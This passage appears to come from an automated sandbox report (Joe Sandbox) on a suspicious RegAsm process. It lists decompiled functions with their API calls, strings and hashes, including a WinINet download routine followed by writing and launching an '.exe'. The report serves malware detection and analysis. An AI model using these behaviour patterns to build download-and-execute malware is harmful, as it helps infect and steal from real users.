Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseFileHandle$CreateSize
String ID:
API String ID: 4148174661-0
Opcode ID: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction ID: 87089636491fbed30b1748ff62e0772d8b8c37abbef2c6f1f22f5f972430845f
Opcode Fuzzy Hash: 7686551e53b7644eb34baed25e55cd4cc7a7d590d99c042858ac62be5e4dc265
Instruction Fuzzy Hash: 29F0A731641314FBFB14D7A0DD09FDA7AADEB08761F200250FE01E61D0D7B06F818669

Function 6C1485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C1485D3

Part of subcall function 6C10CA10: malloc.MOZGLUE(?), ref: 6C10CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C148725

Strings

map/set<T> too long, xrefs: 6C148720

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3b6032ad6f5bcba5aabb7155095e2d82864867d7c3fed72ad913d3548a8c8a6e
Instruction ID: 40d99d070996a1f5140ab7a579131a4d6d99bcee84ffcde5c6925592b696896c
Opcode Fuzzy Hash: 3b6032ad6f5bcba5aabb7155095e2d82864867d7c3fed72ad913d3548a8c8a6e
Instruction Fuzzy Hash: 925153B46006418FE741CF18C094B5ABBF1BF5A318F19C29AD8599BB52C335E886CFD2

Function 00412BF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00405237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
Part of subcall function 00405237: RtlAllocateHeap.NTDLL(00000000), ref: 00405285
Part of subcall function 00405237: InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 004052A7
Part of subcall function 00405237: StrCmpCA.SHLWAPI(?), ref: 004052C1
Part of subcall function 00405237: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004052F1
Part of subcall function 00405237: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00405330
Part of subcall function 00405237: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405360
Part of subcall function 00405237: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040536B

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

_memset.LIBCMT ref: 00412CDF
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00436710), ref: 00412D31

Strings

.exe, xrefs: 00412C3C

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Internet$CreateHeapHttpOpenProcessRequestlstrcat$AllocateConnectFileOptionSendSystemTime_memsetlstrlen
String ID: .exe
API String ID: 2831197775-4119554291
Opcode ID: 3f9e70e2d476e4ffda3d1100c41d9316d40a770b429548b43c5e4a0b802085cb
Instruction ID: 21e6cc503974564d301979d46525f757b90f4bf58159277863c67e13fcbd1b65
Opcode Fuzzy Hash: 3f9e70e2d476e4ffda3d1100c41d9316d40a770b429548b43c5e4a0b802085cb
Instruction Fuzzy Hash: 83417372E00109BBDF11FBA6ED42ACE7775AF44308F510076F500B7191DAB86E8A8BD9

Function 6C0FBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C0FBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C0FBE8F

Strings

0, xrefs: 6C0FBE5B

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 50bc77c3d58a1ede82af8a928f08bafc94de35a3707375cb1cba5252dc19ee62
Instruction ID: ff24326d3a3e69c080533ed60e0e7184b9adea0fda1188dcef7843fe04a3aa48
Opcode Fuzzy Hash: 50bc77c3d58a1ede82af8a928f08bafc94de35a3707375cb1cba5252dc19ee62
Instruction Fuzzy Hash: EC41B271508745CFC701DF28C481A9FBBE4AF8A348F008A1DFDA557611E731D986CB92

Function 0040F093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F0D6
_memmove.LIBCMT ref: 0040F104

Strings

string too long, xrefs: 0040F0D1

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmovestd::_
String ID: string too long
API String ID: 256744135-2556327735
Opcode ID: f3b0af3df79a2dfd7bc7bbf06123ea3464f240820574710358809bccee096707
Instruction ID: 019554aef3182e2644f126f54dde2660d45a8ea7e214a1d86a14fed97e74ad25
Opcode Fuzzy Hash: f3b0af3df79a2dfd7bc7bbf06123ea3464f240820574710358809bccee096707
Instruction Fuzzy Hash: 2711E371300201ABEB249E2DD840929B369FF85364714023FF801ABBC2C779ED69C29A

Function 0041343F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413465
strtok_s.MSVCRT ref: 004134C0

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Strings

xA, xrefs: 00413457, 0041345A

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: xA
API String ID: 348468850-34346596
Opcode ID: 6d49049cc4aadcaf061b8a5d309745c181b0c7aecd75bb9e25b93cae7b457fbf
Instruction ID: 192b4af21b90ebfbdba17fc2099509978ca0c9e5c99c56cf056cc76294817379
Opcode Fuzzy Hash: 6d49049cc4aadcaf061b8a5d309745c181b0c7aecd75bb9e25b93cae7b457fbf
Instruction Fuzzy Hash: FD116D72904009AFCB01DF94D981EDAB7B8FF18315F104056ED09E7281EB78EF898B98

Function 00411ECF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00411EF9

Strings

image/jpeg, xrefs: 00411F21

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: malloc
String ID: image/jpeg
API String ID: 2803490479-3785015651
Opcode ID: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction ID: 1c9963d8e1bd3712552ddde0994ffc3eb950a7432bc1cc1e62e4a2615aecff81
Opcode Fuzzy Hash: 6b72b0d373d1163626baf5e7838df7277c332a4d567d67e2b356543416a513d9
Instruction Fuzzy Hash: 5A11A572910108FFCB10CFA5CD848DEBB7AFE05361B21026BEA11A21A0D7769E81DA54

Function 0040F128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

Part of subcall function 0040F238: std::_Xinvalid_argument.LIBCPMT ref: 0040F242

_memmove.LIBCMT ref: 0040F190

Strings

invalid string position, xrefs: 0040F139

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position
API String ID: 3404309857-1799206989
Opcode ID: c6cedd6faa5025a2771478dbfc733c3a780b2f7df36657e699a57c216a74702b
Instruction ID: fbfaa16947e7a18c21b1bdb5dba45c0af645c7aa01d088c53fe7116d193b09d6
Opcode Fuzzy Hash: c6cedd6faa5025a2771478dbfc733c3a780b2f7df36657e699a57c216a74702b
Instruction Fuzzy Hash: 2011E131304210DBDB24DE6DDC809697365AF49324744063BF815EFAC2C33CED45879A

Function 6C133CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C133D19
mozalloc_abort.MOZGLUE(?), ref: 6C133D6C

Strings

d, xrefs: 6C133D58

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 33fbee3541449e0af633b29f367bc309f2f0a517fa222dc533db495939e60c02
Instruction ID: e5f70c8a9457f913560926131a1c27c955ea21d61f36569178b5faf0c358c931
Opcode Fuzzy Hash: 33fbee3541449e0af633b29f367bc309f2f0a517fa222dc533db495939e60c02
Instruction Fuzzy Hash: A4110435E046A89BDB029F69C8144EDB775EF9621CBC5A218EC4997602EB30A5C6C760

Function 0040F34D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F35C

Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDAA
Part of subcall function 0042ED95: __CxxThrowException@8.LIBCMT ref: 0042EDBF
Part of subcall function 0042ED95: std::exception::exception.LIBCMT ref: 0042EDD0

memmove.MSVCRT(0040EEBE,0040EEBE,C6C68B00,0040EEBE,0040EEBE,0040F15F,?,?,?,0040F1DF,?,?,?,74DF0440,?,-00000001), ref: 0040F392

Strings

invalid string position, xrefs: 0040F357

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: 7d8f6d5feb5391cfea95de1602bb5e90269e9adafcdbed1415718121556ab33c
Instruction ID: 017d91eac88829acffdc82267225c38794c4a5018ef21456ed221e4776d6775e
Opcode Fuzzy Hash: 7d8f6d5feb5391cfea95de1602bb5e90269e9adafcdbed1415718121556ab33c
Instruction Fuzzy Hash: 2101AD713007018BD7348E7989C491FB6A2EB85B20730493ED982D7B85DB7CE84E8398

Function 00428319 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 0042832E
__invoke_watson.LIBCMT ref: 00428382

Part of subcall function 004281BD: _strcat_s.LIBCMT ref: 004281DC

Strings

,NC, xrefs: 0042836D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_sstrcpy_s
String ID: ,NC
API String ID: 1132195725-1329140791
Opcode ID: 53b9d3399cf01edd424f01e545b4bf6b1a8555bf483cd13445593f0413521323
Instruction ID: b14517829ee3e4008935581a6c4eb4e5af6e21d53fc6d1dc9f8fc82e31e75d8a
Opcode Fuzzy Hash: 53b9d3399cf01edd424f01e545b4bf6b1a8555bf483cd13445593f0413521323
Instruction Fuzzy Hash: 10F0A4725412187FCB116FA09C42EEF3F69AF04350F48845AF91995191DB379D50D794

Function 004281BD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_strcat_s.LIBCMT ref: 004281DC
__invoke_watson.LIBCMT ref: 004281F8

Strings

`8C, xrefs: 004281CE, 004281D4

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_s
String ID: `8C
API String ID: 228796091-1339866851
Opcode ID: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction ID: 7ddf0bddf5afd8d882f8305a6a79ca2d96ecb6cae4186c92cbd8cb99882cb472
Opcode Fuzzy Hash: d2307989adf0da250e0c2039779c175f09f7b7af11d147463b8ee5fd369ca3e3
Instruction Fuzzy Hash: D2E092737002197BCB111E56EC418AF7719FB80368B41443AFE1892001DB7699A29694

Function 6C156DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C156E22
__Init_thread_footer.LIBCMT ref: 6C156E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C156E1D

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: eee5cc9295c4d42e1e4128dd722c7d9c4bab4d188f931f128255df5234b1ffff
Instruction ID: 446ec8ba6fb27e6f8e826e49ac46f4aa226e572050f7969c52a5898c82ce486c
Opcode Fuzzy Hash: eee5cc9295c4d42e1e4128dd722c7d9c4bab4d188f931f128255df5234b1ffff
Instruction Fuzzy Hash: 4BF059B830A244CFDB12CB68CC68A833372DB1322CF440165E83446BA1D724B527DAF3

Function 0041F509 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041F53E
DName::DName.LIBCMT ref: 0041F54A

Strings

{flat}, xrefs: 0041F539

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: d4f2a0f8f0d620f0a38f4231e61e5960c08bd068872e7346d275fef913c0fb9d
Instruction ID: 6914079e6e7eb4a71d8aa98ec26ce6ebfca0f40151d97bebdd5d1c4e4a32150b
Opcode Fuzzy Hash: d4f2a0f8f0d620f0a38f4231e61e5960c08bd068872e7346d275fef913c0fb9d
Instruction Fuzzy Hash: 89F08C31140308AFCB10AF58D405AE43BA2AB4575AF08805AE84C4F293D624D883CB59

Function 0040141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401449

Strings

@, xrefs: 00401442

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: cc8e58f030b9a58294aa547ec4afa5a71e030286ac2158c3e4d2ba897faa9268
Instruction ID: fb6c5e95bdbf3cd74dbfc22db3c1f98d6dc2c9140477ca9f1cf6fc3a32f2f9ff
Opcode Fuzzy Hash: cc8e58f030b9a58294aa547ec4afa5a71e030286ac2158c3e4d2ba897faa9268
Instruction Fuzzy Hash: 89E0B8F0D1020C9BDB14DFA5E946B5D77FC9B04704F500069AA05E7181D6B4AA098659

Function 6C14B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C14B2C9,?,?,?,6C14B127,?,?,?,?,?,?,?,?,?,6C14AE52), ref: 6C14B628

Part of subcall function 6C1490E0: free.MOZGLUE(?,00000000,?,?,6C14DEDB), ref: 6C1490FF
Part of subcall function 6C1490E0: free.MOZGLUE(?,00000000,?,?,6C14DEDB), ref: 6C149108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C14B2C9,?,?,?,6C14B127,?,?,?,?,?,?,?,?,?,6C14AE52), ref: 6C14B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C14B2C9,?,?,?,6C14B127,?,?,?,?,?,?,?,?,?,6C14AE52), ref: 6C14B708
